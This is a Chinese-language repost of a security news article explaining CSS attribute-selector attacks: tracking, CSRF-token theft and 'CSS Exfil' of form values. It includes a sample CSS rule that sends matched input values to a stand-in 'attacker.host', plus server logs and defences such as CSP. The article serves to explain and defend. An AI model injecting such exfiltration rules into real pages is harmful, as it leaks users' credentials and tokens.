CSS工作原理是啥
发布时间:2021-12-16 14:53:10 所属栏目:安全 来源:互联网
导读:这篇文章主要介绍CSS工作原理是什么,在日常操作中,相信很多人在CSS工作原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答CSS工作原理是什么的疑惑有所帮助!接下来,请跟着小编一起来学习吧! CSS不仅在网页展现
这篇文章主要介绍“CSS工作原理是什么”,在日常操作中,相信很多人在CSS工作原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”CSS工作原理是什么”的疑惑有所帮助!接下来,请跟着小编一起来学习吧! CSS不仅在网页展现时强大,在追踪用户时也能发挥作用。它能够追踪网站用户,从网页中提取和窃取数据,收集表单域中输入的数据(包括密码),甚至让暗网用户暴露身份。 在过去的一个月里,三个有趣的研究项目都把CSS作为攻击媒介,显示了这种看似无害的语言也能被用来针对用户。 使用CSS跟踪页面上的用户 关于这个主题的第一个项目是JanBöhmer的一个项目“Crooked Style Sheets”,这个项目提供了一个无JavaScript的跟踪方案,可以通过CSS代码的页面交互跟踪用户。 Böhmer表示,他可以跟踪用户何时悬停鼠标,何时点击链接,何时在输入字段中输入文本,以及收集大量真实的用户代理信息,即便用户使用假的UA也没有用。 使用CSS窃取CSRF token 与Böhmer的工作不同,安全研究人员Dylan Ayrey(XSSJacking作者)也在上周末发布了新的研究成果,展示攻击者如何滥用CSS来窃取CSRF(用户身份验证)token。 Ayrey的攻击只适用于在各种HTML页面元素的属性中存储CSRF令牌的严重错误的网站和应用程序,因此其范围非常有限。这种攻击可能很容易被网站/应用程序所有者击败,他们发现一种更安全的方式来验证用户,而不会在网页的源代码中倾销CSRF令牌。 Ayrey的技术依赖于在网页中注入CSS代码,使用CSS属性选择器每次猜解CSRF token的一个字母。 攻击需要10秒钟左右完成,甚至可以在不需要iframe的情况下工作,不需要持续流量的远程服务器也就没有机会提醒出现问题的用户。 CSS属性选择器的威胁不止于此 Ayrey的研究只是停留在表面。过去的一个月中,安全研究员Mike Gualtieri也一直在努力使用相同的技术,但不仅仅是窃取token。 Gualtieri研究的是如何使用CSS属性选择器来猜测留在HTML标签内的敏感内容。 研究人员能够利用这种方法收集在表单域中输入的敏感用户数据,包括密码字符串。 工作原理 Ayrey和Gualtieri的方法都利用了CSS属性选择器,属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值。 举个例子,下面的CSS代码将搜索页面中的“href”属性包含“facebook”字符串的链接元素(“a”),并将所有这些链接加上蓝色。 a[href*="facebook"] { color: blue; } 这些查询看似无害,但在研究人员看来可能被用来实施攻击。 这些查询可以拼接在一起,执行基本的字典暴力攻击,并尝试猜测属性的起始字母,然后将识别的字母添加到新的模式匹配语法中,从而攻击者可以猜解第二个,第三个等字母。 [attribute=value] [foo=bar] 选择foo =“bar”的所有元素 [attribute~=value] [foo~=bar] 选择所有包含单词“bar”的foo属性的元素 [attribute|=value] [foo|=bar] 选择所有具有以“bar”开头的foo属性值的元素 [attribute^=value] [foo^="bar"] 选择所有具有以“bar”开头的foo属性值的元素 [attribute$=value] [foo$="bar"] 选择所有具有以“bar”结尾的foo属性值的元素 [attribute*=value] [foo*="bar"] 选择所有包含子字符串“bar”的foo属性的元素 攻击者需要构造恶意HTTP请求,执行CSS代码选择器。 #username[value="ZeroC00L"] { background:url("https://attacker.host/ZeroC00L"); } 攻击者只需要通过对服务器404的错误筛选,找出想要的结果。 127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22 之后再把字符串组合成完整的数据 Z # Z_ Ze # Ze Zer # er Zero # ro ZeroC # oC ZeroC0 # C0 ZeroC00 # 00 ZeroC00L # 0L _L Ayrey和Gualtieri用了两种不同的方法进行攻击。 Ayrey一次猜测最后一个字母,而Gualtieri则通过多个猜测来重建字符串,最后将他们组合。 两种方法都有效。Ayrey的方法噪音较大,但可以很容易自动化,而Gualtieri的方法更快(也可以自动化),但在某些情况下会依赖于人来拼接字符串。 Gualtieri将此技术命名为CSS Exfil。但CSS Exfil只能在加载时窃取页面上的HTML属性,不能在初始页面加载后从动态注入的代码中窃取。 Gualtieri认为这不是大问题,他的研究提到攻击者可以有各种解决方法。 防御方式 防范CSS Exfil攻击可以分为两个层面。首先,网站和网络应用程序作者可以实施内容安全策略(CSP),防止攻击者从外部加载CSS代码。 其次,访客还可以安装Gualtieri的Firefox或Chrome扩展程序,它可以检测Gualtieri在他的研究中记录的所有类型的CSS Exfil攻击,并在执行之前重写恶意代码。 你可以访问这里的网页进行测试。 到此,关于“CSS工作原理是什么”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注亿速云网站,小编会继续努力为大家带来更多实用的文章! (编辑:源码门户网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |